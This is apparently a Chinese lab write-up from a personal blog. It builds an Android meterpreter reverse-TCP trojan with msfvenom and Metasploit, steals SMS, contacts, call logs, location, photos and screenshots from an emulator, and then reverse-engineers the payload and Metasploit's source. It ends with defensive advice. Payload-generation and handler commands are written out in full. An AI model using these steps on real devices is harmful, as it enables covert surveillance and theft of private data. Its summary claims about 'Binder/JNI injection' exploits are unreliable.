type
status
date
slug
summary
tags
category
icon
password
Property
Jun 29, 2023 03:08 AM
实验目的
复现的Android远控程序实现的全过程
逆向分析全过程,重点标识该Android远控软件的功能实现代码
分析远控程序实现逻辑和代码功能
0x0 实验环境
- Kali-Linux 2022
- 模拟器逍遥 (内置版本:Android 7.1.2)
- Android Killer V1.3.1
- Metasploit(Msfvenom)
0x1 Android远控实现
本次实验所使用的是基于MSFvenom来制作的后门程序,msfvenom是Metasploit的一个独立有效载荷生成器,同时也是msfpayload和msfencode的替代工具。MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
首先,我们可以先查看有哪些payload:
可以看到,msfvenom提供了各种不同类型的有效载荷(payloads),其中涵盖了多个操作系统和使用环境,例如Android、IOS、Unix、Linux、Windows…等,用于在渗透测试和漏洞评估中利用系统漏洞、获取对目标系统的控制或执行特定的操作。
对于此次的Android远控,我们只需要使用
andriod/meterpreter/reverse_tcp
要生成恶意文件需要包括IP、端口,查看Linux主机的IP地址:
生成恶意远控APK文件的命令如下:
192.168.254.67
是我的kali linux虚拟机的IP地址
5555
是我随机选的端口
Android.apk
是我生成apk文件(可以自定义apk名称)
可以看到已经生成了我们想要的apk文件:
然后把生成的apk文件丢进靶机中:
完成后,我们在kali中先启动metasploit渗透框架:
配置参数
-
use exploit/multi/handler
(选择模块)
set payload android/meterpreter/reverse_tcp
(选择攻击模块)
set LhOST 192.168.254.67
(填写自己主机的IP地址)
set lport 5555
(填写刚才生成文件时的端口号)
show options
(查看设置参数)
exploit -z -j
(后台执行)
此处我们使用andriod反弹shell的模块:
然后我们需要在这里设置IP地址,和设定对应的端口号,需要和上一步生成的apk的地址和端口号相同:
然后输入
exploit
或者run
,启动metasploit框架: 接下来,我们在靶机中运行生成的木马apk,然后查看Kali系统中的相关反应:
能够看到,在Kali后台监管命令行中可以找到被投毒的靶机的访问记录包括时间、ip等相关信息
我们尝试使用一些相关入侵命令:
1.查看对方手机系统信息
命令:
sysinfo
可以得知靶机的型号名称、Android版本号、操作系统位数、系统语言等相关信息
2.查看对方手机安装哪些app文件
命令:
app_list
可以看到,攻击者视角下能获得靶机安装应用名称、应用包、运行状态、是否是系统文件
3.远程控制对方手机拍摄一张照片
命令:
webcam_snap
4.实时查看对方手机的信息
命令:
dump_sms
5.获取对方手机本机号码
命令:
dump_calllog
可以清楚得到手机号主的信息
6.获取入侵手机通讯录联系人信息
命令:
dump_contacts
6.实时获取对方手机GPS定位
命令:
geolocate
7.获取目标设备手机截图:
命令:
screenshot
以上都可以看到msfvenom功能的强大,可以获取得到入侵目标的多种私人信息
0x2 Msfvenom函数模块分析
Msfvenom架构:
其中metasploit最重要的部分为模块部分,,分别为辅助模块(Auxiliary)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)以及免杀模块(Evasion)。其功能如下:
- 辅助模块:通过对网络服务的扫描,收集登陆密码或者 Fuzz 测试发掘漏洞等方式取得目标系统丰富的情报信息,从而发起精准攻击。
- 渗透攻击模块:包括利用已发现的安全漏洞等方式对目标发起攻击,执行攻击载荷的主动攻击和利用伪造的 office 文档或浏览器等方式使目标上的用户自动触发执行攻击载荷的被动攻击。
- 空指令模块:跟随渗透攻击模块成功后的造成任何实质影响的空操作或者无关操作指令的无效植入代码,目的保证后面的攻击载荷能顺利执行。常见的在 x86 CPU 体系架构平台上的操作码是 0x90。
- 攻击载荷模块:跟随渗透攻击模块成功后在目标系统运行的有效植入代码,目标是建立连接,得到目标 shell。
- 编码器模块:同空指令模块作用相似,保证不会受到漏洞参数或者目标系统类型的限制导致无法顺利执行。
- 后渗透攻击模块:在获取到目标 shell 之后,进行后渗透攻击,比如获取信息,跳板甚至内网渗透。
- 免杀模块:作为 V5 版本新增的功能,只包含对 windows defender 类型。免杀方式较为简单,申请内存,拷贝攻击载荷,执行攻击载荷。
payloads
可以分为两类:stage和stageless,其中:
- stageless为独立载荷(Single),可以直接植入目标系统并执行相应的程序。
- stage为分阶段载荷,包括:
- stager: 传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。
- stage: 传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。
payload生成使用msfvenom作为入口函数。
Single
以
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > meterpreter_reverse_tcp
为例。首先调用
msfvenom
中的venom_generator.generate_payload
函数。跟进对应函数,路径为
payload_generator.rb
。通过一系列参数检查。然后调用generate_raw_payload
函数。跟进,调用
payload_module.generate_simple
,路径为simple\payload.rb
,调用Msf::Simple::Payload.generate_simple(self, opts, &block)
。跟进,调用
EncodedPayload.create
,路径为encoded_payload.rb
,调用generate
函数。跟进,调用
generate_raw()
,然后调用generate_complete
函数。跟进,调用
apply_prepends(generate)
。这里根据generate选择对应的生成函数。在本例中,选择的是meterpreter_reverse_tcp.rb
。跟进,查看对应的 generate函数,调用
MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
跟进
generate_config
,根据 datastore设定对应的config文件,然后调用Mettle.new()
函数实例化对象,调用to_binary
函数生成对应的bin文件。to_binary
函数如下:add_args
函数如下:然后调用
payload_generator
中的format_payload(raw_payload)
得到最终的payload可执行程序。以上是Msfvenom的payload生成的代码逻辑,需要注意的是,msf大部分后渗透阶段的工具都在Post 模块上,但是其调用分析也是类似的。
0x3 拆包逆向分析
使用AndroidKiller对生成的apk程序进行逆向分析:
MainActivity中,它启动了一个后台服务,通过一系列的嵌套,最终定位到了 Payload 类的 main 方法中,主要是从 Payload.a 这个变量读取各种各样的信息,包括我们之前使用msfvenom命令设置的LHOST、LPORT等:
Payload.main
方法的后半段,变量 v7 是从上面获取到的IP和端口,我们利用frida去hook startsWith
这个方法看看。果然是我们最开始设置的IP与端口号。后面根据IP和端口,new了一个Socket,拿到
InputStream
和OutputStream
,从而能跟我们的本地主机然后就到了方法Payload.a(java.io.DataInputStream, java.io.OutputStream,java.lang.Object[])
这里对调用了两次
Payload.a(java.io.DataInputStream)
,同样打开这个方法看看。容易看出是通过这个方法从
DataInputStream arg11
read数据,赋值给了v3与v4。从下面的
DexClassLoader
我们可以推出,这里动态的加载了dex,并加载了其中某个类的 start 方法。而 v3 就是这个类的名字,v4 则是这个dex所以,我们大概可以总结出 Payload 这个类的主要作用就是先读取各种各样的配置信息,然后根据配置信息内的IP及端口从主机拿到dex,并加载该dex,执行start方法。
父类构造函数
首先我们先分析一下它的父类的构造函数,这里是
this.transports
和 this.commandManager
两个变量。this.transports
是一个循环链表的结构,它的节点为 Transport 这个类。Transport 记录了主机的IP、端口号等信息,还负责接受主机发来的命令的数据包(如上面所述的webcam_stream、dump_contacts等),解析该数据包,并执行命令对应的代码,返回数据给主机。this.commandManager
是负责管理命令注册的,Transport 每次需要执行解析命令的时候,都会在 this.commandManager 中去查询, this.commandManager
则会返回一个Class,Transport 再去对应的Class执行代码。this.commandManager
的构造函数最后执行了一个 load() 方法,load() 方法则给
this.commandManager
注册了多个初始化所需的命令。this.loadConfiguration()
接下来再看看
this.loadConfiguration()
这个方法。这个方法其实很简单,就是从配置信息(之前提到的 Payload.a
)中读取IP及端口,装入 TcpTransport
(继承自Transport)中,然后再将 TcpTransport 链到 this.transports 中。this.intervalCollectionManager.start()
接下来是
this.intervalCollectionManager.start()
这个方法。这个方法同样不复杂,只是简单的收集了各种各样的隐私数据(wifi、地址等),统一写入某个文件中this.startExecuting()
最后一个函数模块是
this.startExecuting()
,首先通过 this.transports.current() 拿到当前循环链表的头节点 Transport ,Transport 通过 connet() 方法与主机进行连接,并等待主机发来命令。接收到主机发来的数据后,Transport 就去调用 dispatch() 方法对数据进行解析,执行相应的代码,并返回数据给主机。然后 disconnect()
关闭连接,进入下一个 Transport总结
Msfvenom是一个非常强大的工具,可以用于生成各种类型的恶意代码,包括针对Android和iOS平台的攻击脚本。
- Binder注入攻击:Binder是一种进程间通信机制,它允许一个进程通过IPC机制与其他进程进行通信。Binder注入攻击是通过在应用程序中插入一个Binder代理来远程执行任意代码的方法。可以使用msfvenom生成一个Binder注入漏洞利用代码,然后使用Metasploit框架进行测试和攻击。
- JNI注入攻击:JNI是Java Native Interface的缩写,它允许Java程序与本地C/C++代码进行交互。JNI注入攻击是通过在应用程序中注入一个JNI代理来远程执行任意代码的方法。可以使用msfvenom生成一个JNI注入漏洞利用代码,然后使用Metasploit框架进行测试和攻击。
- Dex注入攻击:Dex文件是Android应用程序的主要二进制文件格式,它包含了应用程序的所有代码和资源。Dex注入攻击是通过修改Dex文件来实现远程执行任意代码的方法。可以使用msfvenom生成一个Dex注入漏洞利用代码,然后使用Metasploit框架进行测试和攻击。
虽然攻击者可以通过多种攻击脚本对目标进行渗透,但是大多脚本想要运行都需要目标安装后才能执行,也就是说,在面对这些潜在攻击和木马程序时,有很多方案可以采用:
- 定期更新操作系统和应用程序:及时应用安全补丁和更新,以修复已知漏洞,并降低潜在攻击风险。
- 谨慎下载和安装来源不明的应用:只从官方应用商店下载应用,并留意用户评价和开发者的可信度。避免安装来源不明的应用,以减少恶意应用的风险。
- 强化手机安全设置:设置强密码或使用生物识别功能,以确保手机数据的安全性,限制应用程序权限等。
- 使用安全的Wi-Fi网络:避免连接不受信任或公共的Wi-Fi网络,尽量使用经过加密和安全设置的受信任网络。使用虚拟专用网络(VPN)可加强数据传输的安全性。
- 提高安全意识:提高用户对社交工程攻击和恶意应用的认识。培养良好的安全意识,不轻易点击可疑链接、下载附件或泄露个人信息。
参考资料
- 作者:百川🌊
- 链接:https://www.baichuanweb.cn/article/example-65
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。